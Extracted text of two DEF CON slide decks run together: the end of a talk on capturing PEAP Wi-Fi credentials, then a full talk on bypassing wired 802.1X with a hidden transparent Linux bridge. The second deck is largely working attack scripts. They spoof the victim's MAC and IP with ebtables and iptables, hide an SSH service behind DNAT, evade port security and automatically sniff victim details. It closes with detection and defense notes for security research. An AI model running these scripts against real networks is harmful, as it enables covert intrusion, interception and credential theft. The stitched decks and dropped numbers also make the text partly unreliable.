DEF CON XXI, August , / Solutions PEAP vs EAP-TLS Feature PEAP EAP-TLS Support Nearly Universal Nearly Universal Server Authentication Yes Yes User Authentication MSCHAPv Certificate Easy to Configure Yes No Easy to Manage Yes No Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Solutions PEAP Mitigations Doing PEAP “Right” Mobile Device Management Custom CA vs Public CA Separate accounts Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Solutions PEAP Mitigations Doing PEAP “Right” Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Demo DefConSecure Hacking the hackers Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Demo Victims Needed Fair warning Turn off all of your WiFi devices if you do not wish to participate Targeting only DefConSecure No Man-in-the-Middle Username and MSCHAPv challenge/response collected Username and response displayed Brief Denial of Service Yes, I could crack your password later, but I know you didn’t reuse an important one (right?) I expect to capture only a handful, but maybe we’ll get lucky Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Demo Additional Resources Windows Phone WiFi Configuration Guide - http://www.windowsphone. com/en-US/how-to/wp8/start/connect-to-a-wi-fi-network Apple iOS WiFi Deployment Guide - http://images.apple.com/iphone/business/docs/iOS_6_Wifi_Sept12.pdf Smart Phone WiFi Certifications - http://certifications.wi-fi.org/search_products.php?search=1&lang= en&filter_category_id=24&listmode=1 Android WPA Enterprise UI Bug - https://code.google.com/p/android/issues/detail?id=1386 Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Demo Thank Yous DEF CON iSEC Partners / NCC Group EFF The “victims” Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Demo Josh Yavor Senior Security Engineer iSEC Partners https://www.isecpartners.com @schwascore Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , /
pdf
A Bridge Too Far Defeating Wired 802.1X with a Transparent Bridge Using Linux Alva Lease ‘Skip’ Duckwall IV Exorcyst at gmail d0t com Who Is This Guy? • Been working with Linux since before the 1.0 kernel (1993ish) • Unix admin by trade – transitioned to IT security • Likes alphabet soup: – CISSP, CISA, GCIH, GCIA, GCFW, GPEN, GWAPT – GCUX, GSEC, GCFA, RHCE, SCSA (missing 12 letters) – Sitting for the GSE written in the middle of August • Works for Northrop Grumman on a team that performs full scope penetration tests ☺ THE BASICS The Objective To introduce a device on a wired 802.1X secured network with the following properties: 1. Transparent (undetectable) to the network administrators 2. Remote communication and interaction 3. The ability to inject traffic on to the network What We Need • Linux Box with 2 network ports • Extra Ethernet Cable • A Workstation authenticating to the local network using wired 802.1X of some sort • Another box that we use to handle the callbacks A laptop/Netbook with an additional USB network device running Linux – Obviously Difficult to Hide – Powerful x86 CPU/memory/HD – Best used for in person demos ☺ Small x86 Computer (industrial/mini pc) – Atom CPU (x86) with 1-2gb memory – Storage via laptop HD or flash – Fanless in many cases – Built in Dual Gig Ethernet in some – 4”x4.5”x1” approximately Plug Computer • Embedded Marvell CPU (ARM) running Linux • 512mb ram/512mb internal flash • Can use SD cards for storage / Boot • Fanless • Built in Ethernet/USB port • Looks like a weird “wall wart” Choice of Linux Distro • Backtrack 4r2 for x86 CPUs – Quiet by default (no services start by default, no network by default, etc) – Well tested and used – Lots of built-in toys – Yes, I know 5 is out. Already had it working with 4. • Ubuntu 9.04 for my plug computer – Newer versions of the hardware might not support it – Moving forward will probably switch to Debian or roll my own distribution Quick Review: Ethernet Frame For TCP/IP (without using 802.1q VLANS) this is what an Ethernet frame looks like – Destination/Source Addresses are MAC addresses – Either an Ethernet frame or Address Resolution Protocol Preamble Destination Address Source Address Length / Ethertype Data FCS 8 bytes 6 bytes 6 bytes 2 bytes variable 46- 1500 bytes 4 bytes Quick Review: ARP Address Resolution Protocol • Maps 32-bit IP addresses (192.168.0.1) to a 48-bit physical address (04:05:06:11:11:11) • Question/reply protocol – Question gets broadcast on the local segment – Any reply usually comes from the IP being asked about – Replies are typically cached on the local machine for potential future use Quick Review: ARP Cache All operating systems keep a local cache of ARP entries to prevent flooding the local network segment with ARP requests for every packet sent Example timeouts for ARP Caches: Windows XP – up to 10 minutes Vista/2008 – random interval between 15-45s Linux – 60s (tunable) Quick Review: IP IP encapsulates the higher level protocols such as TCP and UDP • Uses IP addresses for source and destinations • What happens if the destination is outside the local network? 0 4 8 16 19 31 Version IHL TOS Total Length Identification Flags Fragment Offset TTL Protcol Header Checksum Source IP Address Destination IP Address Options Padding Quick Review: Routing Devices have a routing table to decide what to do with packets that leave the device. • Typically, the local network is the only place the device knows how to route to • There is also usually a default gateway to route packets out of the network. Quick Review: Routing (Contd) When an IP packet gets routed to its next hop, the following happens: 1. The local routing table is consulted for the next hop 2. The local ARP cache is checked to see if the MAC address is known for the next hop, if not the next hop is ARP’d 3. The Ethernet frame is constructed with the destination MAC address and the source MAC address and the checksum calculated 4. The frame is fired off towards the next hop on the wire Extensible Authentication Protocol Framework for authentication • Guidelines, not a specific implementation • Multiple methods – EAP-TLS – EAP-MD5 – 40 or more so far EAP over LAN (EAPOL) is used by 802.1X Quick Overview: 802.1X 802.1X is an IEEE standard for port-based network access control. It consists of 3 main pieces. 1. Supplicant – The client authenticating 2. Authenticator – Device to which the client connects 3. Authentication server – Determines whether the credentials provided are valid 802.1X Illustrated 1. Supplicant (client) packages up authentication information in an EAPOL (EAP over LAN) packet and sends it to the switch 2. The switch takes the EAPOL traffic and repackages the authentication traffic into a RADIUS request and passes it to the RADIUS server 3. If the RADIUS request is approved, the traffic is allowed on the network Client EAPOL Exchange 802.1X:Supplicant Policy Enforcement The supplicant can be used to make policy decisions on the network through the assistance of an agent. For Example: • Check AV/Patch status – Allow on the network or on a remediation subnet for updates • Req. account/membership in a windows domain – If the machine is in the local domain, allow access to network, otherwise a guest VLAN (or no access at all) • Load Balance to the least populated VLAN Common 802.1X Problems • Equipment / Overhead – Requires authentication server(s) • More power • More licenses – Requires supported equipment (printers and other oddballs out there can cause issues) • Complicated to set up – Often a long-term project – Phased deployment – Really need an existing robust/mature infrastructure first Common 802.1X Problems (Cont) • Almost always exceptions – Devices that can’t conform (printers/copiers) • Backup Plan : Sticky MAC or MAC Auth Bypass (MAB) – General exceptions to policy • PXE booting items • Hardware/software test networks – Temporary exceptions to policy • OS reloads • Booting from windows -> linux Common 802.1X Problems (Cont) • Client side problems – How often does the link actually go down on the client? • Kicked cables • Power fluctuations • Machine shutdown/suspend at COB • Reboots (think reboot Wednesday!) – Additional configuration on the software side for the supplicant Classic Attack on 802.1X In 2004 a security researcher demonstrated an attack against wired 802.1X with a hub. By inserting a hub, a rogue device could simply wait until the connection was authenticated and then piggyback once the connection was approved by spoofing the authorized client. I’ve provided links to the sources at the end. Problems with the Attack By default, could only really use UDP because TCP causes a race condition: 1. Rogue device sends out a SYN to the far end 2. Far end sends back a SYN/ACK which hits both devices 3. The legit device should respond with a RST/ACK 4. The rogue device responds with an ACK It’s a race! Who will win? The Update to the Attack How can we improve upon the classical attack? • Hubs don’t really exist anymore so we need something else • Want to be able to use TCP as well as UDP • Want to maintain invisibility on the network PROOF OF CONCEPT Demo Configuration What’s a Bridge? A Network Bridge connects multiple network segments at the Data Link Layer (layer 2 OSI) • IEEE 802.1D standard defines bridges • A switch is a special kind of bridge, namely it has multiple ports Bridges in Linux • Kernel module – Integrated into the 2.6 series kernel – Standard in most distributions • User-land utilities – Bridge-utils • Usually available in most distributions, although not always installed Bridge Utils in Linux Use Bridge Utils to create a transparent bridge in Linux on a machine with 2 or more Ethernet cards. By default the bridge will have the highest MAC address. brctl is the main utility to configure a bridge in Linux: brctl addbr br0 # create a bridge device called br0 brctl addif br0 eth1 # add eth1 to br0 brctl addif br0 eth2 # add eth2 to br0 ifconfig 0.0.0.0 eth1 up # bring up the eth1 interface ifconfig 0.0.0.0 eth2 up # bring up the eth2 interface ifconfig 0.0.0.0 br0 up # bring up the bridge interface It Can’t Be THAT Easy… It’s not… no traffic on the bridge interface Why Not? To The Google!! The 802.1D standard Turns out that standards compliant bridges aren’t supposed to pass MAC addresses in the range of 01-80-C2-00-00-00 to 01-80-C2-00-00-0F. In our case 01:80:c2:00:00:03 is used Simply Back Out the Patch Seems like a simple fix, back out the patch that blocks the MAC addresses we care about. Unfortunately the bridge module code has changed a fair amount in the past 4 years. Fortunately, Abb of Gremwell security already fixed the problem. Abb of Gremwell’s Research Abb provided a patch to forward the MAC addresses that are dropped by the 802.1D spec to the Gremwell Blog. Abb also posted the code for an app called Marvin where he “decided to write a tool, capable to divert and re-inject a network connections while preserving the original network addresses, including layer 2 ones… but it already can be used to tap into a wired network protected with 802.1X” Abb from Gremwell’s Marvin “The tool will bridge the traffic between the first and the second interface and inject traffic it receives from the third interface into the first two.” Marvin at a glace: • Written in Java • Requires 3 network ports: source, dest and injection • Requires manual setting of MAC/IP • Allows interaction with traffic going across the bridge Not quite what we want, but it works and for some assessments, it might be worth a look. I’ve included the link at the end in the ‘Links’ section Abb’s Patch The patch just comments out the code that drops the EAPOL. Simply recompile the module with the code commented out. Recompile the Bridge Module It Works! Truly Transparent Config #!/bin/bash BRINT=br0 SWINT=eth0 COMPINT=eth3 #enable ip_forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # create the bridge brctl addbr $BRINT brctl addif $BRINT $COMPINT brctl addif $BRINT $SWINT Transparent Config (2) #bring up the interfaces ifconfig $COMPINT 0.0.0.0 up promisc ifconfig $SWINT 0.0.0.0 up promisc ifconfig $BRINT 0.0.0.0 up promisc #mii-tool -r will reset the auto negotiation essentially resetting the link mii-tool -r $SWINT mii-tool -r $COMPINT Quick Transparent Demo WORKING TOWARDS INTERACTION On Towards Interaction Right now the bridge looks like a piece of wire on the network, completely transparent. From a proof of concept point we’ve introduced a rogue device onto a wired network secured by 802.1X. However, being able to remotely interact with the device would be a lot more fun! Requirements For Interaction So, what do we need to make our rogue device more interactive? • Don’t trip up any additional security measures (MAC security on top of 802.1X) and kill the connection • Make the traffic look like the computer whose connection we’re stealing • Callouts (both forward and reverse) Careful! Thar be dragons! A common configuration includes sticky-MAC address filtering on the wire along with 802.1X. • Need to make sure the MAC address of traffic coming out of the bridge matches the client computer • 802.1X usually re-authenticates periodically and usually can be forced without incident • Port security violations usually are manually cleared, so tripping is BAD, and unfortunately easy to do Tripping Sticky MAC Port Security A single stray source MAC address will trigger port security. • Need to make sure no traffic leaves until everything is set up • Start dark and slowly bring up functionality until we’re good to go Things That Bite Things I’ve been bitten with while working with port security: • Excess Services (web server, etc) – What’s the first thing that apache does when it starts up? Query a name server for it’s own IP address… • IPV6 – Since I’m not doing anything to NAT any IPV6 traffic, if any escapes the bridge it’ll burn us. Best to just disable • DNS – Sometimes simply having entries in resolv.conf generate traffic unexpectedly upon startup (depends on distro) – Easy to avoid, simply rm /etc/resolv.conf at boot • ARP – Ultimately the cause of most problems – something gets ARP’d Arptables Arptables allows us to block all ARP traffic from an interface. Since ARP usually burns us, we can block all traffic originating from our device easily. #example arptables command arptables –A OUTPUT –o eth1 –j DROP Note: We want ARP traffic to cross the bridge, just not leave being sourced by our rogue device (IP/ARP/EB)tables Chain Flow Overview Prerouting – All traffic off the wire Forward – traffic passing from one interface to another Input – traffic destined for the local device Output – traffic leaving the local device from processes Postrouting – all traffic leaving the device (IP/ARP/EB)tables Notes: • All traffic crossing the bridge will traverse the prerouting -> forward -> postrouting chains • If we drop all traffic from the output chain, we can prevent our device from inadvertently tripping port security without affecting traffic on the bridge Mimicking The Client MAC addresses are trivial to spoof, so that shouldn’t be a problem. However since we’re using a bridge (layer 2) that can cause some problems since interaction requires layer 3. We will use a combination of ebtables and iptables to handle our NAT requirements Ebtables Ebtables behaves somewhat like IPtables at the link layer. • Provides link layer filtering • Allows us to NAT with MAC addresses More on this in a few slides… Communication Channels We want to be able to talk to the bridge. We can either contact it directly or have it call us. Either way we need to make traffic originating from the bridge appear to come from the authenticated machine. Master of Disguise Using IP tables, and knowing the IP address of the computer we’re inline with, we can NAT our traffic using source NAT (SNAT) and iptables: iptables -t nat -A POSTROUTING -s 192.168.1.10 -p tcp -j SNAT --to 1.2.3.4 iptables -t nat -A POSTROUTING -s 192.168.1.10 -p udp -j SNAT --to 1.2.3.4 One Quick Caveat (Perfect World) Modern TCP/IP stacks track connections by using the tuple (SRC IP, SRC PT, DST IP, DST PT). If we communicate with hosts on the same network (say a Domain Controller) then we would match SRC IP, DST IP and DST PT. This leaves us a 1 in 65000 chance of matching a connection that could be already established. What would happen in this event? We could adversely affect operations on the computer behind us and risk discovery. One Quick Caveat (MS Reality ™) It’s actually worse than that. They of infinite and infallible wisdom have deigned that 65535 is too big a number (I mean it’s 16 whole bits), so they put limits on what source ports traffic will originate from. Ephemeral Source Ports XP/2003 – TCP/UDP ports 1025 – 5000 Vista/7/2008 – TCP/UDP ports 49152 - 65535 One Quick Mitigation If we restrict via SNAT the ports with which we NAT through, depending on the OS we could eliminate the overlap altogether. Or we could risk the overlap and have our traffic blend in better. I chose to use ports in the back half of the range for vista/7/2008 to blend in. #mangle the destination IP to 1.2.3.4 ports 61000-62000 iptables -t nat -A POSTROUTING -s 192.168.1.10 -p tcp -j SNAT --to 1.2.3.4:61000-62000 iptables -t nat -A POSTROUTING -s 192.168.1.10-p udp -j SNAT --to 1.2.3.4:61000-62000 Creating a Hidden Service We can use Destination NAT (DNAT) to create a hidden service on our rogue device for communication. For Example: If we start up a SSH server on 127.0.0.1 on the device, we can use the following iptables rule to redirect port 9876 to it: iptables -t nat -A PREROUTING –d 192.168.1.10 -p tcp --dport 9876 -j DNAT --to 127.0.0.1:22 Hidden Service 2 We can actually include our outside source IP as part of the rule and further restrict who can see the hidden service. So if anybody else tries to go to that port they’d actually get passed on to the computer, which probably isn’t listening there! iptables -t nat -A PREROUTING –s 1.2.3.4 –d 192.168.1.10 -p tcp --dport 9876 -j DNAT --to 127.0.0.1:22 Don’t Call Us, We’ll Call You We can also have our bridge contact us instead of us contacting it (reverse shell). • Probably makes more sense given the security – If they’ve got 802.1X, they probably don’t let any port traffic in to their workstations • Plenty of options to phone home – SSH – Openvpn – Many many more Choosing An IP We need an IP for the bridge in order to NAT. So what IP do we use? I picked an IP that shouldn’t be in use on the network. I chose an IP in 169.254.0.0, which is self-assigned in the event that an interface can’t talk to its DHCP server. In other words, you shouldn’t see it on a production network unless there’s some sort of problem… Interaction With the Client Before we get too far down the rabbit hole, I wanted to mention that I haven’t really found any decent way of directly attacking the computer behind the bridge. What source IP do you use? We’d need to source NAT in that direction and without a good patsy computer, there’s no good way of doing it. The Pre-Populated Setup Our Scenario: We’re doing a full scope pen test on an organization that’s using wired 802.1X security. The folks responsible for testing physical security have done recon and found a perfect hiding spot in a printer stand. They return with a printer configuration page with all the network info we’d need. Bringing It All Together #!/bin/bash SWMAC=f0:ad:4e:00:02:46 # The switch side mac COMPMAC=c0:c1:c0:76:35:7c # provided by printer conf COMIP=192.168.0.10 # GWNET=192.168.0.0/24 # DEFGW=192.168.0.15 # BRINT=br0 SWINT=eth0 # the switch side interface name COMPINT=eth3 # the computer side interface name BRIP=169.254.66.66 # bridge IP DPORT=9876 # incoming port to redirect to ssh RANGE=61000-62000 # our SNAT port range Bringing It All Together (2) #build the bridge brctl addbr $BRINT brctl addif $BRINT $COMPINT brctl addif $BRINT $SWINT #bring up both sides of the bridge ifconfig $COMPINT 0.0.0.0 up promisc ifconfig $SWINT 0.0.0.0 up promisc #start dark arptables -A OUTPUT -j DROP iptables -A OUTPUT -j DROP Bringing It All Together (3) # swap the mac address to the switch side mac, # so we always know which mac the bridge is macchanger -m $SWMAC $BRINT # bring up the bridge with the non-routable IP ifconfig $BRINT $BRIP up promisc # add the network info # add the default route route add -net $GWNET dev $BRINT route add default gw $DEFGW Bringing It All Together (4) # use ebtables to source NAT the $COMPMAC # for traffic leaving the device # from the bridge mac address ebtables -t nat -A POSTROUTING -s $SWMAC -o $SWINT -j snat --to-src $COMPMAC #use DNAT to map $DPORT to $BRIP:22 iptables -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $DPORT -j DNAT --to $BRIP:22 Bringing It All Together (5) # set up the source nat rules for tcp/udp/icmp iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p tcp -j SNAT --to $COMIP:$RANGE iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p udp -j SNAT --to $COMIP:$RANGE iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p icmp -j SNAT --to $COMIP #start sshd /etc/init.d/ssh start #lift radio silence arptables -D OUTPUT -j DROP iptables -D OUTPUT -j DROP Pre-Populated Demo AUTOMATION Automation Pre-populating the bridge info is cool and all, but how can we fully automate the process? 1. Start transparent 2. Gather info 3. Analyze info 4. Bring up the bridge Tell Me What You Want… The “printer config” from our demonstration provided us with the following information: • IP Address • MAC address • Network mask • Gateway IP What if we can’t get that info from our recon? Tell Me What You Need… Recalling our previous discussions about routing, what we really need is: • IP address of the computer • MAC address of the computer • MAC address of the gateway The only thing we needed the network mask/gateway IP for was to figure out how to route to it. All we need to route packets is the destination MAC address. We’ve Got a Gateway MAC, Now What? We create a static ARP entry using the gateway MAC using a bogus IP address on the same network as the bridge IP. We then create a default route going to that IP. This will allow us to route to the actual gateway without needing to know the network mask. A Quick Note Using a static ARP entry for a bogus route will cause some strange behavior on the local wire when we communicate on the local subnet. Since we don’t have a route for the local network in the routing table, all packets destined for the local subnet will get routed to the default gateway. It still works though, the gateway will simply forward the packets to the local destination. Although any return traffic will travel from the remote host directly to us. Typical Network Assumptions If an organization has 802.1X deployed, we can make some reasonable assumptions about their infrastructure: • Network segmented by function (svr/wksn) • Central router / firewall connecting everything together • Network services (AD/DNS/WWW) probably not in the workstation segment Passive Aggressive So, if we watch the packets crossing the bridge, we can passively gather the information we need. What sorts of traffic would we expect to see? • UDP (netbios/DNS/LDAP) • ARP • TCP (AD / WWW / email) UDP Analysis What sorts of stuff do you see on the wire with UDP? • DNS – variable amounts • LDAP – variable amounts • Net Noise Bios – broadcast traffic, not helpful • DHCP – broadcast traffic, not helpful UDP Consensus While there is some traffic that would be worth watching, UDP doesn’t look like the way to go Too much broadcast traffic wouldn’t really be helpful and not enough of the rest of the traffic to make a useful determination. Although getting the DNS server might be worth it for future use ☺ ARP Analysis ARP seems like a decent place to look. Using the –nne flags for tcpdump (no DNS/numerical resolution and show the ethernet layer) We know there’s going to be a lot of ARP traffic on the wire. # tcpdump -i eth0 -nne arp 18:26:42.972381 00:26:b9:1b:02:97 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: arp who-has 192.168.15.1 tell 192.168.15.129 18:26:37.993919 00:1b:fc:9d:2e:ef > 00:26:b9:1b:02:97, ethertype ARP (0x0806), length 60: arp reply 192.168.15.1 is-at 00:1b:fc:9d:2e:ef ARP Analysis (2) So for our example, we can get all the information we need from ARP. Assuming a moderately populated Windows network, there should be a steady stream of ARP broadcasts to monitor. Remember from the first few slides that ARP cache timeouts are relatively short for windows boxes (15s-120s). We can simply gather some ARP traffic, figure out what the most requested host is and that will more than likely be our gateway. ARP: The Downside Unfortunately ARP does have its downside as well. If there are services on the local wire or a lot of intersegment traffic, then the most ARP’d for entry might not be our gateway. ARP Consensus It’s not a bad option, but maybe there’s better. On the plus side, on a reasonably sized network there should be lots of ARP traffic and most of it should be heading towards the gateway. So we aught to be able to collect what we need quickly. The downside is that it’s possible if there is a lot of intersegment communication that we can’t easily find the gateway TCP Analysis TCP services, such as Active Directory, web, Kerberos, will give us everything we need in one packet assuming the services are in a different segment. # tcpdump –nne tcp 19:27:28.390751 c0:c1:c0:76:35:7c > 00:0c:29:ea:ed:ee, ethertype IPv4 (0x0800), length 1514: 192.168.0.10.49776 > 10.0.1.3.80: . 113771:115231(1460) ack 1560 win 256 TCP Analysis (2) TCP looks like it might be the way to go on a network that has Active Directory. For example, from a cold boot to login on a windows 7 box connected to a domain, I captured almost 600 TCP packets, all of them to the domain controller. More traffic to the DC every 15 minutes on a completely idle system. TCP: The Downside In order to collect enough TCP packets we need to wait until an AD traffic burst or, somebody logs in, mounts some shares, visits a web page, etc… TCP Consensus TCP is probably the safest way to go. However it’s going to take some time to see the traffic crossing the wire unless we have some interaction or we help it along. ARP vs. TCP On a populated network, ARP is going to be faster and potentially inaccurate whereas TCP will be slower and more accurate. I’ve implemented it both ways. The code is fairly similar, but for the sake of the presentation I’m going to use TCP and reboot the windows box to speed things up. Automated Implementation (ARP) • Start Transparent • Start sniffing ARP traffic – tcpdump -i eth3 -s0 -w /boot.pcap -c50 arp – 50 packets seems like a good number • Analyze the ARP replies • Grab the info from ARP replies • Grab the info from an ARP request ARP Reply Analysis ARP Replies provide most of what we need. With a little kung-fu: tcpdump -r boot.pcap -nne | grep 'is-at' | awk '{ print $2 "," $4 $12 "," $14}' | sort | uniq -c | sort -rn | head -1 The Answer will look something like this: 6 00:1b:fc:9d:2e:ef,00:26:b9:1b:02:97,192.168.15.1,00:1b:fc:9d:2e:ef 6 is the number of times the line appeared 00:1b:fc:9d:2e:ef is the MAC address of the SRC MAC 00:26:b9:1b:02:97 is the MAC address of the Computer 192.168.15.1 is the IP address of the SRC 00:1b:fc:9d:2e:ef is the same as the first MAC address We can pipe the command above to another AWK statement to end up with just the SRC MAC and the computer MAC awk -F ‘,’ ‘{print $2}’ # this yields the Computer MAC awk -F ‘,’ ‘{print $3}’ # this yields the Gateway IP awk -F ‘,’ ‘{print $4}’ # this yields the gateway MAC The Final Piece (ARP) In order to get the computer IP, now we need to grep for who asked for the gateway IP 17:58:26.552515 00:26:b9:1b:02:97 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: arp who-has 192.168.15.1 tell 192.168.15.129 # $COMPMAC is the computer’s MAC, $GWIP is the gateway IP tcpdump -r boot.pcap -nne | grep $CMPMAC | grep -w "$GWIP tell“ | head -1 We use the extra “-w” and the quotes so that we have an exact match for the gateway IP, otherwise we could match more than we wanted (you don’t want to know how long that took me to figure out) Automated Implementation (TCP) • Starts transparent • Sniff TCP traffic for AD packet(135/445/88) – tcpdump -r reboot.pcap -nne -c 1 tcp dst port 88 – Don’t really need more than one packet • Grab the stuff we need from the packet • ? • Profit! TCP Analysis Our kung-fu looks like: tcpdump -r boot.pcap -nne -c 1 tcp dst port 88 | awk '{print $2","$4$10}' | cut -f 1-4 -d . Our Result looks like: c0:c1:c0:76:35:7c,00:0c:29:ea:ed:ee,192.168.0.10 Where: c0:c1:c0:76:35:7c is the source MAC (computer) 00:0c:29:ea:ed:ee is the destination MAC (gateway) 192.168.0.10 is the computer’s IP Fully Automated TCP #pre populated variables SWINT=eth0 SWMAC=`ifconfig $SWINT | grep -i hwaddr | awk '{ print $5 }'` BRINT=br0 COMPINT=eth3 BRIP=169.254.66.66 RANGE=61000-62000 DPORT=9876 #build the bridge brctl addbr $BRINT brctl addif $BRINT $COMPINT brctl addif $BRINT $SWINT Fully Automated TCP (2) #bring up both sides of the bridge ifconfig $COMPINT 0.0.0.0 up promisc ifconfig $SWINT 0.0.0.0 up promisc # ensure the bridge has the right MAC macchanger -m $SWMAC $BRINT #bring up the bridge (transparent) ifconfig $BRINT 0.0.0.0 up promisc # force the link to reset mii-tool -r $COMPINT mii-tool -r $SWINT #grab a single tcp port 88 packet destined for the DC (kerberos) tcpdump -i $COMPINT -s0 -w /boot.pcap -c1 tcp dst port 88 Fully Automated TCP (3) #set our variables COMPMAC=`tcpdump -r /boot.pcap -nne -c 1 tcp dst port 88 | awk '{print $2","$4$10}' | cut -f 1-4 -d.| awk -F ',' '{print $1}'` GWMAC=`tcpdump -r /boot.pcap -nne -c 1 tcp dst port 88 | awk '{print $2","$4$10}' | cut -f 1-4 -d.| awk -F ',' '{print $2}'` COMIP=`tcpdump -r /boot.pcap -nne -c 1 tcp dst port 88 | awk '{print $3","$4$10}' | cut -f 1-4 -d.| awk -F ',' '{print $3}'` #start dark arptables -A OUTPUT -j DROP iptables -A OUTPUT -j DROP # bring up the bridge with our bridge IP ifconfig $BRINT $BRIP up promisc Fully Automated TCP (4) # create rules to source NAT the $COMPMAC # for traffic leaving the device from the bridge mac address ebtables -t nat -A POSTROUTING -s $SWMAC -o $SWINT -j snat --to-src $COMPMAC ebtables -t nat -A POSTROUTING -s $SWMAC -o $BRINT -j snat --to-src $COMPMAC # a static arp entry for our bogus default gateway arp -s -i $BRINT 169.254.66.1 $GWMAC #add our default gateway route add default gw 169.254.66.1 Fully Automated TCP (5) #use DNAT to map $DPORT to $brip:22 iptables -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $DPORT -j DNAT --to $BRIP:22 # set up the source nat rules for tcp/udp/icmp iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p tcp -j SNAT --to $COMIP:$RANGE iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p udp -j SNAT --to $COMIP:$RANGE iptables -t nat -A POSTROUTING -o $BRINT -s $BRIP -p icmp -j SNAT --to $COMIP #start sshd /etc/init.d/ssh start #lift radio silence arptables -D OUTPUT -j DROP iptables -D OUTPUT -j DROP Automated Demo (TCP) DETECTION, USES, AND FINAL THOUGHTS Detection So how do we detect whether or not this is happening on our network? Are there any good ways to detect this attack? User Awareness • <pause for laughter> • The same users that prompted us to implement 802.1X by bringing in personal laptops • Physical inspection / searching under desks – A user would need to know what should be there – A label on it that said “Network Signal Booster” would probably suffice to bypass the average user’s attention Likely Result : Fail P0f Style Traffic Analysis • Traffic characteristics different for Windows vs Linux – Linux TTL 64, Newer Windows 128 • Easily tunable under linux /proc/sys/net/ip_default_ttl • Could be sniffed and then applied easily • Although if the device got burned because somebody noticed out of whack TTL values I’d be more than tempted to just give it to them ☺ – Default TCP Window size differs between Windows and Linux • Haven’t found a good way of tuning that under Linux Likely Result : Possibly Burned Other Weird Traffic on the Local Segment Traffic destined for the local subnet will have the gateway’s MAC address as the destination. • Decent fingerprint for something weird going on • Hard to fix without additional information on the local wire – Network / netmask required for a static route – Could watch ARP requests and populate a static list of local ARP entries to get around it – Possibly repurpose something like arpwatch Likely Result : Possibly Burned Network Latency • All network traffic passes through the bridge, so inherent latency increase • Could be as much as 2 orders of magnitude • Hard to measure accurately – Saturated link or switch will already have latency issues – Users can’t tell if their requests take a few extra milliseconds Likely Result : Fail Network Throughput • Like latency, hard to measure effectively • Mostly a “feels slower” sort of thing from the user • User traffic isn’t that drastic under normal circumstances • I was able to SCP a 3.5Gb file on a local segment through the plug at ~70Mbs on a 100Mbs link Likely Result : Fail Link Speed/Duplex Mismatch Astute network admins could notice if a link went from 1Gig to 100Mb or from half duplex to full duplex – Depending on the size of the organization this is unrealistic (100s of computers) – Very rarely is all the computing equipment the same, so some may very well still be 100Mb instead of 1Gig – With everything else the average admin has going on, it is unlikely this will catch anything Likely Result : Fail Excessive Up/Down Notices • In the average workplace, link changes probably happen somewhat frequently – User kicks a cable – Reboots / Suspend / Sleep – Power Fluctuation • As long as the device authenticates and port security isn’t tripped, a few extra link up/down notices probably wouldn’t get caught. Likely Result : Fail Detection Summary The best technological solution is to know what your traffic’s IP characteristics are. Other possible indicators include link/speed changes, excessive link up/down notices, etc. Might be possible to create a SIEM event looking for such things. The best method is probably user training and awareness. Educate the users what should be under their desk and encourage them to ask questions if they see something unusual. Possible Uses How could this be useful during an assessment? What havoc could be wrought? • Man in the middle attacks come to mind – Poison web traffic via proxy or ettercap • Perform client side attacks for any website by injecting your own code – Capture credentials – SSL proxying – Imagine sending phishing where email just appears in the inbox without sending any email More Evil • Network pivoting – Attack the local network resources and make it look like it came from the client computer – Have callbacks that are directed inwards and don’t cross firewall/IDS boundaries • Be able to conduct a local/trusted insider assessment remotely – Have the client plug in the device somewhere – Work from your remote location – Save on travel costs Common Alibis We use fiber. Your puny attack won’t work on us. • Fiber is just a transport mechanism – Substitute a fiber optic cable instead of a cat 5/6 • Everything still works the same way – Ethernet frames, IP addresses, everything • Fiber converters work just fine • More crap to stuff under the desk and chew up power, but it works awesome (demo time permitting) Common Alibis (2) Hah! We use NAC/NAP. Our agents will stop this! • NAC/NAP implementations use 802.1X as their basis, agents simply handle the policy decisions • Since all we’re doing really is disconnecting and reconnecting the cable, as long as the credentials work to authenticate to the network it doesn’t matter • And since disconnects aren’t that unusual… Defenses How can we defend this? • Basically it’s a physical attack – If somebody can plant a malicious device on your network you’re already screwed • Requires an authorized port with an active client to work – If there’s no computer plugged in, it won’t work Defenses (2) • IPSEC could be used to mitigate some of the damage – Point-to-point encrypted tunnels would prevent much of the MITM possibilities – Microsoft’s NAP solution does this, but everything would need to use IPSEC, even internet traffic Conclusions and Final Thoughts • 802.1X only authorizes a port to go hot and pass traffic • It doesn’t do anything for per packet authorization – That’s 802.11AE or some other future technology Questions? Shouts! Pete/Chris/Matt/Aaron/Mike/Devin Grep8000/Nelson/Lee/Nischit/Roman/Will Daryl/Nathan/Guy/Ermin/Charles/Deb/Dad And many, many more… Reference Links, etc Classic 802.1X attack • http://sl.mvps.org/docs/802dot1x.htm • http://technet.microsoft.com/en-us/library/cc512611.aspx 802.1D • http://standards.ieee.org/develop/regauth/tut/macgrp.pdf • http://en.wikipedia.org/wiki/IEEE_802.1D Marvin • http://www.gremwell.com/marvin-mitm-tapping-dot1x-links Ephemeral Ports Info from Microsoft • http://support.microsoft.com/kb/929851 802.1xbridge.com • Updated with all scripts, slides, etc… – Will hopefully have all info uploaded by the end of DEFCON 19 • Low volume twitter: @8021xbridge
pdf